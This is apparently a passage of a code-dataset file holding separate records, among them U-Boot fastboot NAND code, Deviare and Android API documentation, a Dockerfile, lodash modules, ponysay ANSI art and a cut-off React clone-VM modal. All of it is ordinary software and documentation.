1;\n\n\tprintf(\"Erasing blocks 0x%llx to 0x%llx\\n\",\n\t part->offset, part->offset + part->size);\n\n\tret = nand_erase_opts(mtd, &opts);\n\tif (ret)\n\t\treturn ret;\n\n\tprintf(\"........ erased 0x%llx bytes from '%s'\\n\",\n\t part->size, part->name);\n\n\treturn 0;\n}\n\nstatic int _fb_nand_write(struct mtd_info *mtd, struct part_info *part,\n\t\t\t void *buffer, u32 offset,\n\t\t\t size_t length, size_t *written)\n{\n\tint flags = WITH_WR_VERIFY;\n\n#ifdef CONFIG_FASTBOOT_FLASH_NAND_TRIMFFS\n\tflags |= WITH_DROP_FFS;\n#endif\n\n\treturn nand_write_skip_bad(mtd, offset, &length, written,\n\t\t\t\t part->size - (offset - part->offset),\n\t\t\t\t buffer, flags);\n}\n\nstatic lbaint_t fb_nand_sparse_write(struct sparse_storage *info,\n\t\tlbaint_t blk, lbaint_t blkcnt, const void *buffer)\n{\n\tstruct fb_nand_sparse *sparse = info->priv;\n\tsize_t written;\n\tint ret;\n\n\tret = _fb_nand_write(sparse->mtd, sparse->part, (void *)buffer,\n\t\t\t blk * info->blksz,\n\t\t\t blkcnt * info->blksz, &written);\n\tif (ret < 0) {\n\t\tprintf(\"Failed to write sparse chunk\\n\");\n\t\treturn ret;\n\t}\n\n/* TODO - verify that the value \"written\" includes the \"bad-blocks\" ... */\n\n\t/*\n\t * the return value must be 'blkcnt' (\"good-blocks\") plus the\n\t * number of \"bad-blocks\" encountered within this space...\n\t */\n\treturn written / info->blksz;\n}\n\nstatic lbaint_t fb_nand_sparse_reserve(struct sparse_storage *info,\n\t\tlbaint_t blk, lbaint_t blkcnt)\n{\n\tint bad_blocks = 0;\n\n/*\n * TODO - implement a function to determine the total number\n * of blocks which must be used in order to reserve the specified\n * number (\"blkcnt\") of \"good-blocks\", starting at \"blk\"...\n * ( possibly something like the \"check_skip_len()\" function )\n */\n\n\t/*\n\t * the return value must be 'blkcnt' (\"good-blocks\") plus the\n\t * number of \"bad-blocks\" encountered within this space...\n\t */\n\treturn blkcnt + bad_blocks;\n}\n\n/**\n * fastboot_nand_get_part_info() - Lookup NAND partion by name\n *\n * @part_name: Named device to lookup\n * @part_info: Pointer to returned part_info pointer\n * @response: Pointer to fastboot response buffer\n */\nint fastboot_nand_get_part_info(const char *part_name,\n\t\t\t\tstruct part_info **part_info, char *response)\n{\n\tstruct mtd_info *mtd = NULL;\n\n\treturn fb_nand_lookup(part_name, &mtd, part_info, response);\n}\n\n/**\n * fastboot_nand_flash_write() - Write image to NAND for fastboot\n *\n * @cmd: Named device to write image to\n * @download_buffer: Pointer to image data\n * @download_bytes: Size of image data\n * @response: Pointer to fastboot response buffer\n */\nvoid fastboot_nand_flash_write(const char *cmd, void *download_buffer,\n\t\t\t u32 download_bytes, char *response)\n{\n\tstruct part_info *part;\n\tstruct mtd_info *mtd = NULL;\n\tint ret;\n\n\tret = fb_nand_lookup(cmd, &mtd, &part, response);\n\tif (ret) {\n\t\tpr_err(\"invalid NAND device\");\n\t\tfastboot_fail(\"invalid NAND device\", response);\n\t\treturn;\n\t}\n\n\tret = board_fastboot_write_partition_setup(part->name);\n\tif (ret)\n\t\treturn;\n\n\tif (is_sparse_image(download_buffer)) {\n\t\tstruct fb_nand_sparse sparse_priv;\n\t\tstruct sparse_storage sparse;\n\n\t\tsparse_priv.mtd = mtd;\n\t\tsparse_priv.part = part;\n\n\t\tsparse.blksz = mtd->writesize;\n\t\tsparse.start = part->offset / sparse.blksz;\n\t\tsparse.size = part->size / sparse.blksz;\n\t\tsparse.write = fb_nand_sparse_write;\n\t\tsparse.reserve = fb_nand_sparse_reserve;\n\t\tsparse.mssg = fastboot_fail;\n\n\t\tprintf(\"Flashing sparse image at offset \" LBAFU \"\\n\",\n\t\t sparse.start);\n\n\t\tsparse.priv = &sparse_priv;\n\t\tret = write_sparse_image(&sparse, cmd, download_buffer,\n\t\t\t\t\t response);\n\t\tif (!ret)\n\t\t\tfastboot_okay(NULL, response);\n\t} else {\n\t\tprintf(\"Flashing raw image at offset 0x%llx\\n\",\n\t\t part->offset);\n\n\t\tret = _fb_nand_write(mtd, part, download_buffer, part->offset,\n\t\t\t\t download_bytes, NULL);\n\n\t\tprintf(\"........ wrote %u bytes to '%s'\\n\",\n\t\t download_bytes, part->name);\n\t}\n\n\tif (ret) {\n\t\tfastboot_fail(\"error writing the image\", response);\n\t\treturn;\n\t}\n\n\tfastboot_okay(NULL, response);\n}\n\n/**\n * fastboot_nand_flash_erase() - Erase NAND for fastboot\n *\n * @cmd: Named device to erase\n * @response: Pointer to fastboot response buffer\n */\nvoid fastboot_nand_erase(const char *cmd, char *response)\n{\n\tstruct part_info *part;\n\tstruct mtd_info *mtd = NULL;\n\tint ret;\n\n\tret = fb_nand_lookup(cmd, &mtd, &part, response);\n\tif (ret) {\n\t\tpr_err(\"invalid NAND device\");\n\t\tfastboot_fail(\"invalid NAND device\", response);\n\t\treturn;\n\t}\n\n\tret = board_fastboot_erase_partition_setup(part->name);\n\tif (ret)\n\t\treturn;\n\n\tret = _fb_nand_erase(mtd, part);\n\tif (ret) {\n\t\tpr_err(\"failed erasing from device %s\", mtd->name);\n\t\tfastboot_fail(\"failed erasing from device\", response);\n\t\treturn;\n\t}\n\n\tfastboot_okay(NULL, response);\n}\n"} +{"text": "\n\n\n\n\n\nDeviare v2: INktObject Interface Reference\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n
\n\n \n \n \n \n \n \n
\n
Deviare v2\n
\n
\n \n \"\"/\n \n \n \"\"/\n \n
\n
\n
\n\n\n\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n\n
\n\n
\n
\n\n\n
\n\n
\n\n
\n
\nPublic Member Functions |\nList of all members
\n
\n
INktObject Interface Reference
\n
\n
\n\n

Exposes the base methods of the Deviare object hierarchy. \n More...

\n\n

import"DeviareCOM.idl";

\n\n

Inherits IDispatch.

\n\n

Inherited by INktDbModule, INktDbModulesEnum, INktDbObject, INktDbObjectsEnum, INktExportedFunction, INktExportedFunctionsEnum, INktHook, INktHookCallInfo, INktHooksEnum, INktModule, INktModulesEnum, INktParam, INktParamsEnum, INktPdbFunctionSymbol, INktProcess, INktProcessesEnum, INktProcessMemory, INktSpyMgr, and INktStackTrace.

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

\nPublic Member Functions

HRESULT UserData ([out, retval] my_ssize_t *pVal)
 Gets a user-defined custom data. More...
 
HRESULT UserData ([in] my_ssize_t newValue)
 Sets a user-defined custom data. More...
 
HRESULT InterfaceError ([out, retval] LONG *pVal)
 Get the error code raised when this object was created. More...
 
HRESULT DeviareId ([out, retval] my_ssize_t *pVal)
 Get the id of the object. More...
 
HRESULT ToString ([out, retval] BSTR *pVal)
 Get the string representation of the object. More...
 
HRESULT GetObjectFromDeviareId ([in] my_ssize_t devId, [out, retval] IDispatch **ppDisp)
 Retrieves an object given its id. More...
 
\n

Detailed Description

\n

Exposes the base methods of the Deviare object hierarchy.

\n

Member Function Documentation

\n\n
\n
\n\n \n \n \n \n
\n \n \n \n \n \n \n \n \n
HRESULT INktObject::DeviareId ([out, retval] my_ssize_t * pVal)
\n 		\nget
\n
\n\n

Get the id of the object.

\n
Parameters
\n \n \n
[in,out]pValA pointer to store the identifier. Cannot be NULL.
\n
\n
\n
Returns
S_OK on success
\n
\nE_POINTER if pVal is NULL.
\n\n
\n
\n\n
\n
\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
HRESULT INktObject::GetObjectFromDeviareId ([in] my_ssize_t devId,
[out, retval] IDispatch ** ppDisp 
)
\n
\n\n

Retrieves an object given its id.

\n
Parameters
\n \n \n \n
devIdIdentifier for the Deviare Object to retrieve.
[in,out]ppDispA pointer to an IDispatch interface to store the object. This cannot be NULL.
\n
\n
\n
Returns
S_OK on success.
\n
\nE_POINTER if ppDisp is NULL.
\n
Remarks
If devId is not a valid identifier, ppDisp will be set to NULL.
\n\n
\n
\n\n
\n
\n\n \n \n \n \n
\n \n \n \n \n \n \n \n \n
HRESULT INktObject::InterfaceError ([out, retval] LONG * pVal)
\n 		\nget
\n
\n\n

Get the error code raised when this object was created.

\n
Parameters
\n \n \n
[in,out]pValA pointer to store the error code. Cannot be NULL.
\n
\n
\n
Returns
S_OK on success, E_POINTER if pVal is NULL.
\n\n
\n
\n\n
\n
\n \n \n \n \n \n \n \n \n
HRESULT INktObject::ToString ([out, retval] BSTR * pVal)
\n
\n\n

Get the string representation of the object.

\n
Parameters
\n \n \n
[in,out]pValA pointer to a BSTR to store the string. Cannot be NULL.
\n
\n
\n
Returns
S_OK on success
\n
\nE_OUTOFMEMORY if pVal points to a string with insufficient space
\n
\nE_POINTER if pVal is NULL.
\n\n
\n
\n\n
\n
\n\n \n \n \n \n
\n \n \n \n \n \n \n \n \n
HRESULT INktObject::UserData ([out, retval] my_ssize_t * pVal)
\n 		\nget
\n
\n\n

Gets a user-defined custom data.

\n
Parameters
\n \n \n
[in,out]pValA pointer to store the referenced data. Cannot be null.
\n
\n
\n
Returns
S_OK on success or E_POINTER if pVal is NULL.
\n\n
\n
\n\n
\n
\n\n \n \n \n \n
\n \n \n \n \n \n \n \n \n
HRESULT INktObject::UserData ([in] my_ssize_t newValue)
\n 		\nset
\n
\n\n

Sets a user-defined custom data.

\n
Parameters
\n \n \n
newValueThe value to store.
\n
\n
\n
Returns
S_OK.
\n\n
\n
\n
\n
\n
\n
\n

Developed by Nektra Advanced Computing

\n \n\n\n"} +{"text": "#\n# THIS FILE IS AUTOGENERATED; SEE \"contrib/builder/rpm/amd64/generate.sh\"!\n#\n\nFROM oraclelinux:7\n\nRUN yum groupinstall -y \"Development Tools\"\nRUN yum install -y --enablerepo=ol7_optional_latest btrfs-progs-devel device-mapper-devel glibc-static libseccomp-devel libselinux-devel libtool-ltdl-devel pkgconfig selinux-policy selinux-policy-devel systemd-devel tar git cmake vim-common\n\nENV GO_VERSION 1.8.5\nRUN curl -fSL \"https://golang.org/dl/go${GO_VERSION}.linux-amd64.tar.gz\" | tar xzC /usr/local\nENV PATH $PATH:/usr/local/go/bin\n\nENV AUTO_GOPATH 1\n\nENV DOCKER_BUILDTAGS seccomp selinux\nENV RUNC_BUILDTAGS seccomp selinux\n\n"} +{"text": "// Icon Sizes\n// -------------------------\n\n/* makes the font 33% larger relative to the icon container */\n.#{$fa-css-prefix}-lg {\n font-size: (4em / 3);\n line-height: (3em / 4);\n vertical-align: -15%;\n}\n.#{$fa-css-prefix}-2x { font-size: 2em; }\n.#{$fa-css-prefix}-3x { font-size: 3em; }\n.#{$fa-css-prefix}-4x { font-size: 4em; }\n.#{$fa-css-prefix}-5x { font-size: 5em; }\n"} +{"text": "\n\n\n\n\n\n\n\n\nandroid.app.Notification.Action\n\n\n\n\n\n\n\n\n\n
\n
\n\"Android\n
\n
\n \n
\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
API Diff Specification
To Level:23
From Level:22
Generated2015.08.14 14:28
\n
\n
\n \n \n \n
Statistics\n
\n
\n
\n
\n
\n
\n
\n

\nClass android.app.Notification.Action\n

\n\n

\n\n\n\n \n\n \n \n \n\n
Changed Constructors\n
\n \n Notification.Action(int, CharSequence, PendingIntent) \n \nNow deprecated.
\n 		 
\n \n\n

\n\n\n\n \n\n \n \n\n
Added Methods\n
\n \n Icon getIcon()\n  
\n \n\n

\n\n\n\n \n\n \n \n \n\n
Changed Fields\n
\n \n int icon \nNow deprecated.
\n 		 
\n \n

\t\n
\n
\n Except as noted, this content is licensed under \n Creative Commons Attribution 2.5.\n For details and restrictions, see the Content License.\n
\n \n
\n
\n
\n\n\n\n\n"} +{"text": "## Description\n\n\n## Checklist\n\n- [ ] this PR is based on develop or a 'develop related' branch\n- [ ] the commits inside this PR have explicit commit messages\n- [ ] the Jazzy documentation has been generated (if needed -> Jazzy RxFlow)\n"} +{"text": "\n\n\n\n\nconst-string\n\n\n\n\n\n

const-string

\n\n

Purpose

\n\n

\nMove a reference to the string specified by the given index into the specified\nregister. \n

\n\n

Details

\n\n\n\n\n \n \n \n\n\n\n\n \n \n \n\n\n \n \n \n\n\n
Op & FormatMnemonic / SyntaxArguments
1a 21cconst-string vAA, string@BBBBA: destination register (8 bits)
\n B: string index
1b 31cconst-string/jumbo vAA, string@BBBBBBBBA: destination register (8 bits)
\n B: string index
\n\n

Constraints

\n\n
    \n
  • \n A must be a valid register index in the current stack frame.\n
    • \n
  • \n B must be a valid index into the string constant pool.\n
    • \n
\n\n

Behavior

\n\n
    \n
  • \n A new java.lang.String object S is allocated on the heap and filled with the\n contents of string pool entry B.\n
    • \n
  • \n A reference to an internalized version of the new object is moved into\n register vA, that is, the instruction behaves as if vA' = S.intern() was\n called.\n
    • \n
  • \n If v(A-1) is the lower half of a register pair, v(A-1)' becomes undefined.\n
    • \n
  • \n If v(A+1) is the upper half of a register pair, v(A+1)' becomes undefined.\n
    • \n
\n\n

Exceptions

\n\n

\nNone.\n

\n\n\n\n"} +{"text": "/**\n * Enables the wrapper to be iterable.\n *\n * @name Symbol.iterator\n * @memberOf _\n * @since 4.0.0\n * @category Seq\n * @returns {Object} Returns the wrapper object.\n * @example\n *\n * var wrapped = _([1, 2]);\n *\n * wrapped[Symbol.iterator]() === wrapped;\n * // => true\n *\n * Array.from(wrapped);\n * // => [1, 2]\n */\nfunction wrapperToIterator() {\n return this;\n}\n\nmodule.exports = wrapperToIterator;\n"} +{"text": "var convert = require('./convert'),\n func = convert('isArrayBuffer', require('../isArrayBuffer'), require('./_falseOptions'));\n\nfunc.placeholder = require('./placeholder');\nmodule.exports = func;\n"} +{"text": "package me.shouheng.layout.view.scrolling;\n\nimport android.graphics.Color;\nimport android.os.Bundle;\nimport com.google.android.material.snackbar.Snackbar;\n\nimport com.alibaba.android.arouter.facade.annotation.Route;\n\nimport me.shouheng.commons.config.BaseConstants;\nimport me.shouheng.commons.view.activity.CommonActivity;\nimport me.shouheng.layout.R;\nimport me.shouheng.layout.databinding.ActivityScrollingBinding;\n\n@Route(path = BaseConstants.LAYOUT_SCROLLING)\npublic class ScrollingActivity extends CommonActivity {\n\n @Override\n protected int getLayoutResId() {\n return R.layout.activity_scrolling;\n }\n\n @Override\n protected void doCreateView(Bundle savedInstanceState) {\n getBinding().toolbar.setTitle(R.string.menu_item_sub_title_4);\n getBinding().toolbar.setTitleTextColor(Color.BLACK);\n\n getBinding().fab.setOnClickListener(v ->\n Snackbar.make(v, \"Replace with your own action\", Snackbar.LENGTH_LONG)\n .setAction(\"Action\", null).show());\n }\n}\n"} +{"text": "$$$\nAPPEARANCE: S02E17 Hearts and Hooves Day\nBALLOON: top\nBALLOON BOTTOM: 0\nBALLOON TOP: 3\nCOAT: yellow\nDISPLAY: full, left\nEYE: blue\nFREE: no\nGROUP: stallion\nKIND: earth\nLINK: regular\nMANE: blue\nNAME: (not mentioned)\nOTHER NAMES: Shortround (unofficial)\nPOSE: smile\nSOURCE: [jristz]\nWIDTH: 53\nHEIGHT: 24\n\n$$$\n$balloon8$\u001b[00m\n $\\$ \u001b[00m\n $\\$ \u001b[00m\n $\\$ \u001b[00m\n $\\$ \u001b[00m\n \u001b[38;5;104m▄\u001b[48;5;104;38;5;147m▄▄▄\u001b[38;5;104m██\u001b[38;5;147m▄▄▄\u001b[38;5;186m▄\u001b[49m▄▄\u001b[39m \u001b[00m\n \u001b[38;5;104m▀\u001b[48;5;104m██\u001b[38;5;147m▄▄\u001b[48;5;147m█\u001b[38;5;104m▄▄▄▄\u001b[48;5;186;38;5;186m█\u001b[48;5;230;38;5;230m██\u001b[48;5;186;38;5;186m█\u001b[49;39m \u001b[00m\n \u001b[38;5;104m▄\u001b[48;5;104m█\u001b[38;5;147m▄\u001b[48;5;147m██\u001b[38;5;104m▄\u001b[48;5;104;38;5;147m▄\u001b[48;5;147m███\u001b[38;5;104m▄\u001b[48;5;186;38;5;230m▄\u001b[48;5;230m█\u001b[38;5;186m▄\u001b[38;5;230m█\u001b[48;5;186;38;5;186m█\u001b[49;38;5;104m▄\u001b[39m \u001b[00m\n \u001b[38;5;104m▄\u001b[48;5;104;38;5;147m▄\u001b[48;5;147m█\u001b[38;5;104m▄▄\u001b[48;5;104;38;5;147m▄\u001b[48;5;147m███\u001b[38;5;104m▄\u001b[48;5;104;38;5;230m▄\u001b[48;5;230m███\u001b[48;5;186m▄\u001b[48;5;230m█\u001b[48;5;186;38;5;186m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[38;5;104m▄\u001b[48;5;104m█\u001b[48;5;147m▄\u001b[48;5;104;38;5;147m▄\u001b[48;5;147m█\u001b[38;5;104m▄▄\u001b[48;5;104;38;5;16m▄▄\u001b[38;5;230m▄\u001b[48;5;230m██████\u001b[48;5;186;38;5;186m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[38;5;104m▀▀▀\u001b[48;5;104;38;5;186m▄▄\u001b[38;5;230m▄\u001b[48;5;230m██\u001b[48;5;16;38;5;16m█\u001b[48;5;231m▄\u001b[48;5;16;38;5;231m▄\u001b[38;5;111m▄▄\u001b[38;5;231m▄\u001b[48;5;230;38;5;230m███\u001b[48;5;186;38;5;104m▄\u001b[48;5;147;38;5;147m█\u001b[48;5;104m▄\u001b[48;5;147;38;5;104m▄\u001b[48;5;104;38;5;147m▄\u001b[49;38;5;104m▄\u001b[39m \u001b[00m\n \u001b[48;5;186;38;5;186m█\u001b[48;5;230;38;5;230m██████████████\u001b[48;5;104;38;5;104m█\u001b[48;5;147m▄\u001b[38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[48;5;186;38;5;186m█\u001b[48;5;230m▄▄▄▄\u001b[48;5;186;38;5;230m▄\u001b[48;5;230m████████\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[38;5;104m▄▄▄▄\u001b[39m \u001b[00m\n \u001b[38;5;186m▀▀\u001b[48;5;230m▄▄▄▄▄▄▄▄\u001b[48;5;186;38;5;230m▄\u001b[48;5;230m██\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[38;5;104m▄\u001b[48;5;104;38;5;147m▄▄\u001b[48;5;147m████\u001b[48;5;104m▄▄\u001b[49;38;5;104m▄\u001b[39m \u001b[00m\n \u001b[48;5;186;38;5;186m█\u001b[38;5;230m▄\u001b[48;5;230m████\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m██\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[49;38;5;186m▄▄▄▄\u001b[38;5;104m▄\u001b[48;5;104;38;5;147m▄\u001b[48;5;147;38;5;104m▄▄\u001b[48;5;104;38;5;147m▄▄▄▄\u001b[48;5;147;38;5;104m▄▄\u001b[38;5;147m██\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[48;5;186;38;5;186m█\u001b[48;5;230;38;5;230m█████\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m██\u001b[48;5;104m▄\u001b[48;5;147;38;5;104m▄\u001b[48;5;104;38;5;230m▄\u001b[48;5;230m████\u001b[48;5;186;38;5;186m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147m▄▄\u001b[48;5;104;38;5;147m▄▄\u001b[48;5;147;38;5;104m▄\u001b[38;5;147m███\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m██\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[48;5;186;38;5;186m█\u001b[48;5;230;38;5;230m█████\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147m▄\u001b[38;5;147m█\u001b[38;5;104m▄\u001b[48;5;104;38;5;230m▄\u001b[48;5;230m█\u001b[48;5;250;38;5;101m▄\u001b[48;5;101;38;5;250m▄\u001b[38;5;230m▄\u001b[48;5;250m▄\u001b[48;5;230;38;5;250m▄\u001b[48;5;186;38;5;186m█\u001b[49;39m \u001b[38;5;104m▀\u001b[48;5;147m▄\u001b[38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m██\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m██\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[38;5;186m▀\u001b[48;5;230m▄\u001b[38;5;230m████\u001b[48;5;104m▄\u001b[48;5;230m█\u001b[48;5;104;38;5;104m█\u001b[38;5;230m▄\u001b[48;5;230m███\u001b[48;5;101;38;5;101m█\u001b[48;5;230;38;5;230m█\u001b[48;5;250m▄\u001b[48;5;101;38;5;250m▄\u001b[38;5;230m▄\u001b[48;5;250;38;5;250m█\u001b[48;5;186;38;5;186m█\u001b[49;39m \u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104m▄\u001b[48;5;147;38;5;104m▄\u001b[38;5;147m█\u001b[48;5;104m▄\u001b[48;5;147;38;5;104m▄\u001b[38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[38;5;186m▀\u001b[48;5;230m▄▄\u001b[38;5;230m████\u001b[38;5;186m▄\u001b[38;5;230m██\u001b[48;5;186;38;5;186m█\u001b[48;5;230;38;5;230m██████\u001b[38;5;186m▄\u001b[49m▀\u001b[39m \u001b[48;5;147;38;5;104m▄\u001b[38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m██\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[48;5;193;38;5;193m█\u001b[48;5;186;38;5;186m█\u001b[48;5;230;38;5;230m████\u001b[48;5;186;38;5;186m█\u001b[48;5;230m▄\u001b[48;5;186m█\u001b[38;5;193m▄\u001b[38;5;186m█\u001b[48;5;230m▄\u001b[38;5;230m████\u001b[48;5;186m▄\u001b[49;38;5;186m▄\u001b[39m \u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m██\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[48;5;193;38;5;193m█\u001b[48;5;186;38;5;186m█\u001b[48;5;230;38;5;230m████\u001b[48;5;186;38;5;186m█\u001b[49;39m \u001b[38;5;193m▀\u001b[48;5;230m▄\u001b[48;5;186;38;5;230m▄\u001b[48;5;230;38;5;186m▄▄\u001b[38;5;230m████\u001b[48;5;186;38;5;186m█\u001b[49;39m \u001b[38;5;104m▀\u001b[48;5;147m▄\u001b[48;5;104m█\u001b[48;5;147;38;5;147m██\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[38;5;193m▄\u001b[48;5;193;38;5;186m▄\u001b[48;5;186;38;5;230m▄\u001b[48;5;230m████\u001b[48;5;186;38;5;186m█\u001b[49;39m \u001b[48;5;193;38;5;246m▄\u001b[48;5;230;38;5;230m██\u001b[48;5;186;38;5;186m█\u001b[48;5;230;38;5;230m████\u001b[48;5;186m▄\u001b[49;38;5;186m▄\u001b[39m \u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m██\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[38;5;246m▄\u001b[48;5;246;38;5;147m▄\u001b[48;5;230;38;5;104m▄\u001b[48;5;186;38;5;230m▄\u001b[48;5;230m█████\u001b[48;5;186;38;5;186m█\u001b[49;39m \u001b[48;5;246;38;5;246m█\u001b[48;5;147;38;5;147m█\u001b[48;5;230m▄\u001b[48;5;147m█\u001b[48;5;186;38;5;104m▄\u001b[48;5;230;38;5;230m█████\u001b[48;5;186;38;5;186m█\u001b[49;39m \u001b[48;5;104;38;5;104m██\u001b[48;5;147;38;5;147m██\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[38;5;246m▀\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;230m▄\u001b[48;5;147m█\u001b[48;5;230m▄\u001b[48;5;147m█\u001b[48;5;230m▄\u001b[48;5;147m█\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[38;5;246m▀▀▀\u001b[48;5;104;38;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;230m▄\u001b[48;5;147m█\u001b[48;5;230m▄\u001b[48;5;147m█\u001b[48;5;230m▄\u001b[48;5;104;38;5;104m█\u001b[49;39m \u001b[38;5;104m▄\u001b[48;5;104m█\u001b[48;5;147;38;5;147m█\u001b[48;5;104m▄\u001b[48;5;147;38;5;104m▄\u001b[48;5;104m█\u001b[49m▄\u001b[39m \u001b[00m\n \u001b[38;5;104m▀▀▀▀▀▀▀▀\u001b[39m \u001b[38;5;104m▀▀▀▀▀▀▀\u001b[39m \u001b[48;5;104;38;5;104m█\u001b[48;5;147m▄▄\u001b[48;5;104m███\u001b[48;5;147m▄\u001b[48;5;104;38;5;147m▄\u001b[38;5;104m█\u001b[49;39m \u001b[00m\n \u001b[38;5;104m▄\u001b[48;5;104m██\u001b[49m▀▀\u001b[48;5;147m▄▄▄▄\u001b[49m▀\u001b[39m \u001b[00m\n \u001b[00m\n"} +{"text": "/**\r\n * Licensed to JumpMind Inc under one or more contributor\r\n * license agreements. See the NOTICE file distributed\r\n * with this work for additional information regarding\r\n * copyright ownership. JumpMind Inc licenses this file\r\n * to you under the GNU General Public License, version 3.0 (GPLv3)\r\n * (the \"License\"); you may not use this file except in compliance\r\n * with the License.\r\n *\r\n * You should have received a copy of the GNU General Public License,\r\n * version 3.0 (GPLv3) along with this library; if not, see\r\n * .\r\n *\r\n * Unless required by applicable law or agreed to in writing,\r\n * software distributed under the License is distributed on an\r\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\r\n * KIND, either express or implied. See the License for the\r\n * specific language governing permissions and limitations\r\n * under the License.\r\n */\r\n\r\npackage org.jumpmind.symmetric.service;\r\n\r\nimport java.util.List;\r\n\r\nimport org.jumpmind.symmetric.model.BatchAck;\r\nimport org.jumpmind.symmetric.model.BatchAckResult;\r\nimport org.jumpmind.symmetric.model.OutgoingBatch;\r\n\r\n/**\n * This service provides an API to access acknowledge {@link OutgoingBatch}s.\n */\npublic interface IAcknowledgeService {\r\n \r\n public BatchAckResult ack(BatchAck batch);\r\n \r\n public List ack(List batches);\r\n\r\n}"} +{"text": "import * as React from 'react';\nimport { connect } from 'react-redux';\nimport {\n Form,\n FormGroup,\n TextArea,\n TextInput,\n Checkbox,\n FormSelect,\n FormSelectOption,\n} from '@patternfly/react-core';\nimport {\n Firehose,\n FirehoseResource,\n FirehoseResult,\n HandlePromiseProps,\n withHandlePromise,\n} from '@console/internal/components/utils';\nimport {\n createModalLauncher,\n ModalTitle,\n ModalBody,\n ModalComponentProps,\n} from '@console/internal/components/factory';\nimport { ModalFooter } from '../modal/modal-footer';\nimport { K8sResourceKind } from '@console/internal/module/k8s';\nimport { NamespaceModel, PersistentVolumeClaimModel, ProjectModel } from '@console/internal/models';\nimport { getName, getNamespace, ValidationErrorType } from '@console/shared';\nimport { VMKind } from '../../../types';\nimport { getDescription } from '../../../selectors/selectors';\nimport { getLoadedData, getLoadError, prefixedID } from '../../../utils';\nimport { DataVolumeModel, VirtualMachineModel } from '../../../models';\nimport { cloneVM } from '../../../k8s/requests/vm/clone';\nimport { validateVmLikeEntityName } from '../../../utils/validations/vm';\nimport {\n getVolumeDataVolumeName,\n getVolumePersistentVolumeClaimName,\n getVolumes,\n isVMExpectedRunning,\n} from '../../../selectors/vm';\nimport { VIRTUAL_MACHINE_EXISTS } from '../../../utils/validations/strings';\nimport { Errors } from '../../errors/errors';\nimport { COULD_NOT_LOAD_DATA } from '../../../utils/strings';\nimport { ConfigurationSummary } from './configuration-summary';\n\nimport './_clone-vm-modal.scss';\n\nexport const CloneVMModal = withHandlePromise((props: CloneVMModalProps) => {\n const {\n vm,\n namespace,\n onNamespaceChanged,\n namespaces,\n virtualMachines,\n persistentVolumeClaims,\n dataVolumes,\n requestsDataVolumes,\n requestsPVCs,\n inProgress,\n errorMessage,\n handlePromise,\n close,\n cancel,\n } = props;\n const asId = prefixedID.bind(null, 'clone-dialog-vm');\n\n const [name, setName] = React.useState(`${getName(vm)}-clone`);\n const [description, setDescription] = React.useState(getDescription(vm));\n const [startVM, setStartVM] = React.useState(false);\n\n const namespacesError = getLoadError(namespaces, NamespaceModel);\n const pvcsError = requestsPVCs\n ? getLoadError(persistentVolumeClaims, PersistentVolumeClaimModel)\n : null;\n const dataVolumesError = requestsDataVolumes ? getLoadError(dataVolumes, DataVolumeModel) 